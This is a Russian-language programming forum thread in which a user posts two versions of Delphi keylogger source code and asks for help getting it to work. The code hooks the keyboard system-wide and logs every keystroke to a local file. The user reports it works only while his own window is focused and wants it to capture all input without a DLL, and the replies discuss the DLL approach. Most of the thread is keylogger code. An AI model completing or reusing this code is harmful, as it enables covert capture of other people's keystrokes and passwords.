Кейлоггер

Vadik(R)

Well-Known Member
12.12.2007
469
0
#1
Люди, почему не работает кейлоггер:
Код:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm1 = class(TForm)
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
SaveExitProc: Pointer;
HKey: hHook=0;
f: Text;

implementation

{$R *.dfm}

function Key_HookKey(code: integer; wParam: integer; lParam: integer): integer stdcall;
begin
if (code>=0) and (lParam and $40000000 = 0) then
begin
assign(f, 'C:\1.txt');
if fileexists('C:\1.txt') then append(f) else rewrite(f);
writeln(f, chr(wParam));
close(f)
end;
Result:=CallNextHookEx(HKey, Code, wParam, lParam)
end;

procedure StartKey;
begin
HKey:=SetWindowsHookEx(WH_KEYBOARD, @Key_HookKey, hInstance, 0)
end;

procedure RemoveHookKey;
begin
if HKey<>0 then
begin
UnhookWindowsHookEx(HKey);
HKey:=0
end
end;

procedure RemoveAllHooks;
begin
RemoveHookKey;
ExitProc:=SaveExitProc
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
RemoveAllHooks
end;

begin
SaveExitProc:=ExitProc;
ExitProc:=@RemoveAllHooks;
StartKey
end.
Вообще он работает, но только на половину. Например, если окно моего приложения активно - то работает. Как только окно потеряет фокус и если нажать любую клавишу, то программа не работает. Даже если потом опять сделать окно своего приложения активным.
Я вот вроде программу понимаю, только не пойму для чего тут ExitProc, SaveExitProc. Всмысле с какой целью их тут используют. И нужны ли они вообще?
И второе, что мне не понятно: почему все так советуют писать кейлоггер именно в dll'ке, почему нельзя в обычной программе, как, например, тут?
Вообще этот код он изначально был в библиотеке, но я решил сделать все в одной программе. Теперь ничего не работает. Помогите довести дело до конца, чтобы все работало и без всяких dll, если такое возможно. Если нет, то объясните, почему без dll'ок обойтись нельзя?
Заранее спасибо! :)

Методом тыка решил сократить код вот так:
Код:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm1 = class(TForm)
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
HKey: hHook=0;
f: Text;

implementation

{$R *.dfm}

function Key_HookKey(code: integer; wParam: integer; lParam: integer): integer stdcall;
begin
if (code>=0) and (lParam and $40000000 = 0) then
begin
assign(f, 'C:\1.txt');
if fileexists('C:\1.txt') then append(f) else rewrite(f);
writeln(f, chr(wParam));
close(f)
end;
Result:=CallNextHookEx(HKey, Code, wParam, lParam)
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if HKey<>0 then UnhookWindowsHookEx(HKey)
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
HKey:=SetWindowsHookEx(WH_KEYBOARD, @Key_HookKey, hInstance, 0)
end;

end.
Такое ощущение, что тут виноваты либо параметры SetWindowsHookEx (скорее всего hInstance), либо CallNextHookEx. Видимо надо с ней что-то делать, только я не знаю, что именно :(
 

FBUS

Well-Known Member
12.03.2008
57
0
#2
а ты внимательно почитай на сайте откуда ты это сдернул. там все написано (по крайней мере в первоисточнике)
 

Vadik(R)

Well-Known Member
12.12.2007
469
0
#3
Я это с книги сдернул. Вот ориганал Посмотреть вложение _____________2_.rar
Сколько не перечитывал, все равно там не написано почему не идет. Они просто советуют делать библиотеку и всё тут. А про то, как сделать без dll ничего не написано. А я сам хочу сделать без dll'ки, только у меня это не получается :)
Обидно еще то, что когда-то где-то год назад у меня получилось сделать такой кейлоггер, только он нигде не остался :(
 

FBUS

Well-Known Member
12.03.2008
57
0
#4
а как ты перехват без dll будешь осуществлять, и чем тебя смущает ее присутствие?